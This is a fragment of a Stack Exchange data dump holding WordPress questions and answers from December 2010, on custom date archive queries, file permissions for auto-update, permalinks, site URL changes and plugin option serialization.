  <row Id="5817" PostTypeId="2" ParentId="5814" CreationDate="2010-12-23T02:38:55.637" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@wpStudent::&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress, almost anything is possible. It all depends at times how hard you want to work for it. :)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Comment Post form of course uses HTTP POST to submit to &lt;code&gt;/wp-comments-post.php&lt;/code&gt; so you could use that except for the &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;NONCEs&lt;/a&gt; if you want to post unfiltered HTML. You'd have to write a page to give you an acceptable NONCE which Site A would need to HTTP GET in order to be able to submit back to to the comment post form but I think if you don't mind the filters it should work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use a function &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/ajax&quot;&gt;designed for AJAX&lt;/a&gt; but have it capture your HTTP POST from your form and then save your comment to Site B by calling &lt;code&gt;wp_insert_comment()&lt;/code&gt;. Or you could use AJAX on Site B to talk to Site A. Of course you'll be opening up a bit of a security hole by doing that, but if your code isn't distributed you can decide if that creates a real concern or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Normally I would write up an example but have run out of time today. Hopefully the above sends you in the right direction.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-23T02:38:55.637" CommentCount="1" />
  <row Id="5818" PostTypeId="2" ParentId="5800" CreationDate="2010-12-23T04:20:16.597" Score="0" ViewCount="" Body="&lt;p&gt;Yes - you'll need to either use query_posts() or get_posts() or write a custom query yourself. &lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:20:16.597" />
  <row Id="5819" PostTypeId="2" ParentId="5799" CreationDate="2010-12-23T04:23:53.503" Score="1" ViewCount="" Body="&lt;p&gt;For your my_ajax_admin_add_track()  function, grab the form field data from the $_POST array, populate the required data in an array to call wp_insert_post(), then call wp_insert_post() passing it the post data. It should return the new post ID number if successful. &lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:23:53.503" />
  <row Id="5820" PostTypeId="2" ParentId="5758" CreationDate="2010-12-23T04:28:54.870" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at the functions in this file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;buddypress/bp-core/bp-core-adminbar.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's where you'll find what you're looking for most likely.&lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:28:54.870" />
  <row Id="5821" PostTypeId="2" ParentId="5748" CreationDate="2010-12-23T04:31:57.360" Score="0" ViewCount="" Body="&lt;p&gt;Simple SQL queries - no complicated REPLACE stuff required:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update wp_options set option_value = 'http://mynewdomain.com' where option_name = 'siteurl';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update wp_options set option_value = 'http://mynewdomain.com' where option_name = 'home';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use those with PHPMyAdmin or any other way you prefer to access the database. &lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:31:57.360" />
  <row Id="5822" PostTypeId="2" ParentId="5801" CreationDate="2010-12-23T04:35:29.680" Score="0" ViewCount="" Body="&lt;p&gt;Based on what you wrote, wp_mail works but cron doesn't. So that's where you start troubleshooting: Find out why your function isn't triggering via cron. &lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:35:29.680" />
  <row Id="5823" PostTypeId="2" ParentId="5795" CreationDate="2010-12-23T04:39:22.297" Score="1" ViewCount="" Body="&lt;p&gt;Kit, I'd say that if you make extensive use of Exec-PHP what you really need is a developer that can make stuff happen without it. In reality, that plugin is a crutch that is easily replaced with proper widgets, plugins and template code. So, the best advice I can give you about securing that plugin is to remove it. &lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:39:22.297" />
  <row Id="5824" PostTypeId="2" ParentId="5777" CreationDate="2010-12-23T04:44:19.233" Score="-1" ViewCount="" Body="&lt;p&gt;What's the point of complaining about code you didn't write? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't like the code, write your own! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple. Problem solved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programmers like to do stuff their way. So don't presume you can tell them how to write code, what kind of whiskey to drink, what brand  of cigarette to smoke, or what religion to follow. They'll just debug such diatribe and keep right on doing what they want. ;-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is not poetry. Code is a variation of the Sinatra song &quot;My Way&quot; ...&lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:44:19.233" CommentCount="1" />
  <row Id="5825" PostTypeId="2" ParentId="5674" CreationDate="2010-12-23T04:57:34.257" Score="1" ViewCount="" Body="&lt;p&gt;have a look at the file wp-admin/includes/import.php, you'll find the necessary functions in there. &lt;/p&gt;&#xA;" OwnerUserId="2129" LastActivityDate="2010-12-23T04:57:34.257" />
  <row Id="5826" PostTypeId="2" ParentId="5800" CreationDate="2010-12-23T06:34:54.620" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy your &lt;code&gt;archive.php&lt;/code&gt; (&lt;code&gt;index.php&lt;/code&gt; if you don't have archive) template to &lt;code&gt;date.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;in &lt;code&gt;date.php&lt;/code&gt; template use &lt;code&gt;query_posts()&lt;/code&gt; to override sort, you will need to use&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;orderby parameters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Preserving_the_Original_Query_.28Pagination_etc..29&quot; rel=&quot;nofollow&quot;&gt;preserve original query&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;PS hm, I think date archives are usually like &lt;code&gt;/year/month/&lt;/code&gt;, what are you using to get &lt;code&gt;/archives/date/year/month/&lt;/code&gt; ?..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPS actually after looking at Mike's answer this is likely not enough to affect selection of posts. Scratch this.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-23T06:40:57.103" LastActivityDate="2010-12-23T06:40:57.103" />
  <row Id="5827" PostTypeId="2" ParentId="5800" CreationDate="2010-12-23T06:37:27.237" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Dalen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with many things in WordPress there are several ways to do what you want. I'm going to explain one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Edit_Post_%E2%80%B9_WordPress_3.0_Test_Site_%E2%80%94_WordPress-20101223-002845.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Remove the &lt;code&gt;'year'&lt;/code&gt;, &lt;code&gt;'monthnum'&lt;/code&gt; and &lt;code&gt;'day'&lt;/code&gt; Query Variables&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can modify the parameters to the query WordPress uses on the archive URLs inside the &lt;code&gt;'pre_get_posts'&lt;/code&gt; hook. Those parameters are captured as an associative array by the rewrite rules into the property of the &lt;code&gt;WP_Query&lt;/code&gt; object called &lt;code&gt;query_vars&lt;/code&gt; variables &lt;code&gt;'year'&lt;/code&gt;, &lt;code&gt;'monthnum'&lt;/code&gt; and &lt;code&gt;'day'&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;$wp_query-&amp;gt;query_vars&lt;/code&gt; has values for &lt;code&gt;'year'&lt;/code&gt;, &lt;code&gt;'monthnum'&lt;/code&gt; and &lt;code&gt;'day'&lt;/code&gt; WordPress will use them when querying the list of posts so &lt;strong&gt;the first step is to remove those key-value pairs from the query array&lt;/strong&gt; using PHP's &lt;code&gt;unset()&lt;/code&gt; function &lt;em&gt;(note that &lt;code&gt;$wp_query&lt;/code&gt; is a global variable in WordPress that contains the current query object as an instance of the &lt;code&gt;WP_Query&lt;/code&gt; class.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;yoursite_pre_get_posts()&lt;/code&gt; function below triggered by the &lt;code&gt;'pre_get_posts'&lt;/code&gt; hook will remove those variables from the &lt;code&gt;query_vars&lt;/code&gt; array but only when the query is the main query *(i.e. the &lt;code&gt;$query&lt;/code&gt; passed to the hook is exactly equal to the global &lt;code&gt;$wp_the_query&lt;/code&gt; or &lt;code&gt;$query===$wp_the_query&lt;/code&gt;) and only when the query is an &lt;em&gt;archive&lt;/em&gt; query. If you add this to your theme's &lt;code&gt;functions.php&lt;/code&gt; file you'll find your archive pages display all posts, not just the ones for the date &lt;em&gt;(so we are halfway to what you want...)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'yoursite_pre_get_posts' );&#xA;function yoursite_pre_get_posts( $query ) {&#xA;  global $wp_the_query;&#xA;  if ($query===$wp_the_query &amp;amp;&amp;amp; $query-&amp;gt;is_archive) {&#xA;    unset($query-&amp;gt;query_vars['year']);&#xA;    unset($query-&amp;gt;query_vars['monthnum']);&#xA;    unset($query-&amp;gt;query_vars['day']);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Add Query Variables for Your Custom Field&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now is where it gets a little tricky. In v3.0.x WordPress only allows you to query for custom field using the values in the &lt;code&gt;query_var&lt;/code&gt; array and it doesn't allow us to apply functions to those criteria either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following modification to &lt;code&gt;yoursite_pre_get_posts()&lt;/code&gt; would allow your archive query to match an exact date assuming you stored the date in &lt;code&gt;'YYYY-MM-DD'&lt;/code&gt; format in the custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'yoursite_pre_get_posts' );&#xA;function yoursite_pre_get_posts( $query ) {&#xA;  global $wp_the_query;&#xA;  if ($query===$wp_the_query &amp;amp;&amp;amp; $query-&amp;gt;is_archive) {&#xA;    $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;    $date = mktime(0,0,0,$qv['monthnum'],$qv['day'],$qv['year']);&#xA;    $qv['meta_key'] = 'Custom Date';&#xA;    $qv['meta_value'] = date(&quot;Y-m-d&quot;,$date);&#xA;    unset($qv['year']);&#xA;    unset($qv['monthnum']);&#xA;    unset($qv['day']);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's what that looks like in a screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/WordPress_3.0_Test_Site-20101223-004045.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course that's not really want you want. You want to query for year &amp;amp; month instead of just the specific day, or even for just the year. As I said before, that's where it gets tricky. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use the &lt;code&gt;'posts_where'&lt;/code&gt; Hook to Modify the SQL &lt;code&gt;WHERE&lt;/code&gt; Clause&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Basically you need to go deeper into hooks and and call the &lt;code&gt;'posts_where'&lt;/code&gt; hook, which I always try to avoid if possible since when you are doing text find and replace on SQL query fragments it's very easy to write code that will be incompatible with another plugin that modifies the same SQL query. Nonetheless, if you need it and nothing else will work then it's there for you as a last resort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the &lt;code&gt;yoursite_posts_where()&lt;/code&gt; function searches the &lt;code&gt;WHERE&lt;/code&gt; clause that WordPress builds for the text &lt;code&gt;&quot;AND wp_postmeta.meta_value = '2011-01'&quot;&lt;/code&gt; and replaces it with the text &lt;code&gt;&quot;AND SUBSTRING(wp_postmeta.meta_value,1,7) = '2011-01'&quot;&lt;/code&gt;, and here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('posts_where','yoursite_posts_where',10,2);&#xA;function yoursite_posts_where( $where, $query ) {&#xA;  global $wp_the_query;&#xA;  if ($query===$wp_the_query &amp;amp;&amp;amp; $query-&amp;gt;is_archive) {&#xA;    $meta_value = $query-&amp;gt;query_vars['meta_value'];&#xA;    $length = strlen($meta_value);&#xA;    $find = &quot;AND wp_postmeta.meta_value = '{$meta_value}'&quot;;&#xA;    $replace = &quot;AND SUBSTR(wp_postmeta.meta_value,1,{$length}) = '{$meta_value}'&quot;;&#xA;    $where = str_replace($find,$replace,$where);&#xA;  }&#xA;  return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Modify &lt;code&gt;yoursite_pre_get_posts()&lt;/code&gt; to support multiple Year-Month-Day Options&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Of course that will require we modify our &lt;code&gt;yoursite_pre_get_posts()&lt;/code&gt; function to support different length meta values: &lt;code&gt;'YYYY'&lt;/code&gt;, &lt;code&gt;'YYYY-MM'&lt;/code&gt; and &lt;code&gt;'YYYY-MM-DD'&lt;/code&gt; &lt;em&gt;(Note the use of what appears to be complex use of PHP's &lt;code&gt;mktime()&lt;/code&gt; and &lt;code&gt;date()&lt;/code&gt; functions are merely to avoid having to worry about these patterns: &lt;code&gt;'YYYY-M'&lt;/code&gt;, &lt;code&gt;'YYYY-MM-D'&lt;/code&gt; and &lt;code&gt;'YYYY-M-D'&lt;/code&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts','yoursite_pre_get_posts' );&#xA;function yoursite_pre_get_posts( $query ) {&#xA;  global $wp_the_query;&#xA;  if ($query===$wp_the_query &amp;amp;&amp;amp; $query-&amp;gt;is_archive) {&#xA;    $qv = &amp;amp;$query-&amp;gt;query_vars;  // Make it less tedious to reference&#xA;    if ($qv['monthnum']==0) // Just search on YYYY&#xA;      $date = $qv['year'];&#xA;    else if ($qv['day']==0) // Search on YYYY-MM&#xA;      $date = date('Y-m',mktime(0,0,0,$qv['monthnum'],1,$qv['year']));&#xA;    else&#xA;      $date = date('Y-m-d',mktime(0,0,0,$qv['monthnum'],$qv['day'],$qv['year']));&#xA;    $qv['meta_key'] = 'Custom Date';&#xA;    $qv['meta_value'] = $date;&#xA;    unset($qv['year']);&#xA;    unset($qv['monthnum']);&#xA;    unset($qv['day']);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that gives us the following which pretty much wraps up what you were looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/WordPress_3.0_Test_Site-20101223-013210.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Code to Display the Custom Date in the Theme&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;BTW, here's the code I used in the theme to grab the Custom Date meta value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($custom_date = get_post_meta($post-&amp;gt;ID,'Custom Date',true)): ?&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Custom Date: &amp;lt;?php echo $custom_date; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;h3&gt;P.S. Remember the User Must Enter in &lt;code&gt;'YYYY-MM-DD'&lt;/code&gt; format&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Remember the user needs to enter the Custom Date in the &lt;code&gt;'YYYY-MM-DD'&lt;/code&gt; format for this to work. Of course you can make it friendlier to the user via several different methods, i.e. in the SQL code or via a &lt;code&gt;'save_post'&lt;/code&gt; hook that reformats the date but I'll leave that as an exercise for someone else.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;P.P.S. Option: Save Multiple Meta Values Instead&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another approach would have been to use the &lt;code&gt;'save_post'&lt;/code&gt; hook to save three (3) hidden meta values in the right format for matching to &lt;code&gt;'YYYY-MM-DD'&lt;/code&gt;, &lt;code&gt;'YYYY-MM'&lt;/code&gt; and &lt;code&gt;'YYYY'&lt;/code&gt; maybe with the meta keys &lt;code&gt;'_custom_date'&lt;/code&gt;, &lt;code&gt;'_custom_date_year_month'&lt;/code&gt; &lt;code&gt;'_custom_date_year'&lt;/code&gt; which would be more resilient to other plugins that might also want to modify the SQL &lt;code&gt;WHERE&lt;/code&gt; clause but would add three (3) additional hidden custom fields for every post so that might not be a good idea for a blog with a large number of posts and it is possible they could get out of sync somehow.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-23T06:37:27.237" CommentCount="3" />
  <row Id="5828" PostTypeId="1" AcceptedAnswerId="5844" CreationDate="2010-12-23T07:35:40.153" Score="1" ViewCount="427" Body="&lt;p&gt;I am using Wordpress 3.0 and would like to organize the directory where uploads are made. Is there any way to change where the files get uploaded or is the only real organization the Media tag plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be ideal is when a user uploads a file, they can specify a sub directory where to dump the file (or default to date). So a user could say &quot;flowers&quot; and the file would go in uploads/flowers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2010-12-23T12:33:19.007" Title="Wordpress 3.0 Media Upload Directory" Tags="&lt;media&gt;&lt;directory&gt;&lt;media-library&gt;" AnswerCount="1" />
  <row Id="5829" PostTypeId="1" AcceptedAnswerId="5832" CreationDate="2010-12-23T08:43:50.127" Score="0" ViewCount="390" Body="&lt;p&gt;Hey guys, I have been spending the longest time trying to figure out this issue. I would like to know what the file permissions should look like in WordPress &lt;strong&gt;in order to use the autoupdate feature&lt;/strong&gt;. As of now, my wordpress installation keeps asking me for my FTP information and I do not want to use that method of upgrading/installing, I want to use pure/direct PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some context:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;webserver and php fcgi daemons run as &lt;code&gt;www-data:www-data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;wordpress installation is at &lt;code&gt;/home/blaenk/sites/domain.tld/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At first, I &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#File_permissions&quot; rel=&quot;nofollow&quot;&gt;read&lt;/a&gt; that all files/folders should be owned by my user (blaenk) and writable by my user. But this wasn't working, after spending many hours researching, someone on the IRC channel told me to try setting &lt;em&gt;everything&lt;/em&gt; to ownership &lt;code&gt;www-data:www-data&lt;/code&gt; and this worked. I was no longer asked for FTP information and the plugin installation worked automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I originally placed the site files in my home directory precisely because I wanted to be able to write/create them as my user. I even added myself to the &lt;code&gt;www-data&lt;/code&gt; directory as stated in &lt;a href=&quot;http://articles.slicehost.com/2007/9/18/apache-virtual-hosts-permissions&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I already know that files should be 644 and directories should be 755. However, this seems more of an issue of ownership. I don't want to have to set &lt;code&gt;www-data:www-data&lt;/code&gt; on everything in my wordpress installation, so I'm wondering what files/directories specifically require this ownership level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I believe that the reason for which everything seems to work on my shared hosting wordpress installation despite all of the files being owned by my user is that the shared host I use seems to use &lt;a href=&quot;http://wiki.dreamhost.com/Suexec&quot; rel=&quot;nofollow&quot;&gt;suexec&lt;/a&gt; which presumably runs PHP as me, so in other words, the files &lt;em&gt;are&lt;/em&gt; owned by the webserver, so to speak.&lt;/p&gt;&#xA;" OwnerUserId="113" LastEditorUserId="113" LastEditorDisplayName="" LastEditDate="2010-12-23T09:39:13.723" LastActivityDate="2010-12-23T09:43:35.480" Title="Recommended File Permissions" Tags="&lt;permissions&gt;&lt;auto-update&gt;" AnswerCount="2" />
  <row Id="5830" PostTypeId="2" ParentId="5829" CreationDate="2010-12-23T08:59:49.437" Score="1" ViewCount="" Body="&lt;p&gt;As far as I understand it is not related to specific permissions - Auto Update overall &lt;a href=&quot;http://codex.wordpress.org/Updating_WordPress#Automatic_Update&quot; rel=&quot;nofollow&quot;&gt;requires that files owner matches user Apache runs under&lt;/a&gt;. If that is not the case it falls back to other filesystem methods (FTP, SSH) and so prompts for password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can define credentials in constants in &lt;code&gt;wp-config.php&lt;/code&gt; so you don't get prompted for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants&quot; rel=&quot;nofollow&quot;&gt;WordPress Upgrade Constants&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-23T08:59:49.437" CommentCount="6" />
  <row Id="5831" PostTypeId="1" CreationDate="2010-12-23T09:23:15.863" Score="1" ViewCount="179" Body="&lt;p&gt;I would like to know if there's a way of giving an option (in the admin panel) to the user to change the text of the site title for an uploaded logo image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically it would go like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's an uploaded image for the site title, don't show the text otherwise just display the site title text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know any tutorial or how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2010-12-23T12:20:05.353" Title="Enabling users to replace site title (text) with a image logo (but keeping the text if there isn't any image)?" Tags="&lt;admin&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5832" PostTypeId="2" ParentId="5829" CreationDate="2010-12-23T09:43:35.480" Score="1" ViewCount="" Body="&lt;p&gt;In my question, I stated confusion at the fact that everything worked seamlessly on my shared-hosted despite all of the files being owned by my user, whereas on my VPS, the auto upgrade would not work unless all files were owned by the webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am fairly certain that this is a result of my shared host using &lt;a href=&quot;http://wiki.dreamhost.com/Suexec&quot; rel=&quot;nofollow&quot;&gt;suexec&lt;/a&gt; which essentially runs the scripts as my user. So essentially, the files on my shared host &lt;em&gt;were&lt;/em&gt; owned by the 'web server' (really, the CGI daemon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am actually running nginx and php-fpm on my VPS, so I do not have access to Apache's suexec. However, I simply configured php-fpm to run as myself, to test my theory, and it did indeed worked seamlessly with all of the files owned by my user. I believe this would be considered a security risk (not sure), so I will investigate further to see what I can do in this regard to avoid running it as my user, but at least now I know what the problem is!&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2010-12-23T09:43:35.480" />
  <row Id="5833" PostTypeId="2" ParentId="5595" CreationDate="2010-12-23T09:48:47.963" Score="1" ViewCount="" Body="&lt;p&gt;You can change the permalink setting to &lt;code&gt;/p%post_id%&lt;/code&gt;, but this will also set the &lt;code&gt;front&lt;/code&gt; property of the &lt;code&gt;WP_Rewrite&lt;/code&gt; object to &lt;code&gt;/p&lt;/code&gt;, so some URLs will also get this in front (&lt;code&gt;/pauthor&lt;/code&gt; for example). You can counter this by changing the &lt;code&gt;$wp_rewrite-&amp;gt;front&lt;/code&gt; property again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'permalink_structure_changed', 'wpse5595_rewrite_front_reset' );&#xA;add_action( 'init', 'wpse5595_rewrite_front_reset' );&#xA;function wpse5595_rewrite_front_reset()&#xA;{&#xA;    $GLOBALS['wp_rewrite']-&amp;gt;front = '/';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You must do this on every &lt;code&gt;init&lt;/code&gt; so the generated links are OK, and on every &lt;code&gt;permalink_structure_changed&lt;/code&gt; so the generated rules (that handle incoming URLs) are OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comments on separate pages should be possible. I suggest you first try to find a plugin that does this, then we can figure out how to change the URL structure it uses.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-23T09:48:47.963" />
  <row Id="5834" PostTypeId="2" ParentId="5831" CreationDate="2010-12-23T11:31:12.857" Score="1" ViewCount="" Body="&lt;p&gt;You can do that using a theme options page - &lt;a href=&quot;http://wpshout.com/create-an-advanced-options-page-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;here is a tutorial&lt;/a&gt;&#xA;Once you've added an options page, you add in it a field for site logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the theme code you check if this field was assigned a value, and assign the tite accordingly&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-12-23T11:31:12.857" />
  <row Id="5835" PostTypeId="2" ParentId="4568" CreationDate="2010-12-23T11:34:33.580" Score="2" ViewCount="" Body="&lt;p&gt;I don't know if I understood exactaly what you mean, but I've found this workaround:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpworks.wordpress.com/2010/12/23/display-youtube-thumbnail-with-wordpress-custom-field/&quot; rel=&quot;nofollow&quot;&gt;http://wpworks.wordpress.com/2010/12/23/display-youtube-thumbnail-with-wordpress-custom-field/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&lt;/p&gt;&#xA;" LastActivityDate="2010-12-23T11:34:33.580" CommentCount="1" />
  <row Id="5836" PostTypeId="1" AcceptedAnswerId="5849" CreationDate="2010-12-23T11:40:27.820" Score="1" ViewCount="235" Body="&lt;p&gt;I am planning on building a plugin and i need to know if the data stored in the options table i will create for the plugin will be serialized or it will be in the ordinary sql format.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2010-12-23T13:56:24.380" Title="Plugin options table,is the data serialized" Tags="&lt;plugin-development&gt;" AnswerCount="3" />
  <row Id="5837" PostTypeId="1" CreationDate="2010-12-23T11:45:00.760" Score="1" ViewCount="184" Body="&lt;p&gt;I am writing the backend for my theme and have 4 custom post types. I have registered them all and now I am writing the metaboxes and handlers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is in wordpress admin is there a way of determing which custom post type your editing. I.E. lets say I have a custom post type of Testimonials, I click add New and am presented with the various fields etc. Is there a function in wordpress that will tell me what this post type is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive tried get_post_type() but it returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" LastActivityDate="2011-02-11T22:20:48.863" Title="Custom Post Types Question" Tags="&lt;custom-post-types&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="5838" PostTypeId="2" ParentId="5836" CreationDate="2010-12-23T11:48:12.833" Score="0" ViewCount="" Body="&lt;p&gt;I am pretty sure it is searilized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;update_option() function serailizes the data passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The get_option() function deseralizes it.&lt;/p&gt;&#xA;" LastActivityDate="2010-12-23T11:48:12.833" />
  <row Id="5839" PostTypeId="2" ParentId="5836" CreationDate="2010-12-23T11:51:53.597" Score="0" ViewCount="" Body="&lt;p&gt;Depends on some factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're storing options in the db trough WP's API, like using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_option&quot; rel=&quot;nofollow&quot;&gt;add_option()&lt;/a&gt; then the data is automatically serialized by WP if the option is a array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(same happens in widgets)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want serialized data then just don't pass arrays to add_option. If you have multiple options you could serialize it yourself and send it as a string before you pass it to the function...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-23T11:51:53.597" />
  <row Id="5840" PostTypeId="2" ParentId="5837" CreationDate="2010-12-23T11:56:23.687" Score="2" ViewCount="" Body="&lt;p&gt;that's because the post hasn't been saved yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try with &lt;code&gt;$_GET['post_type']&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-23T11:56:23.687" CommentCount="3" />
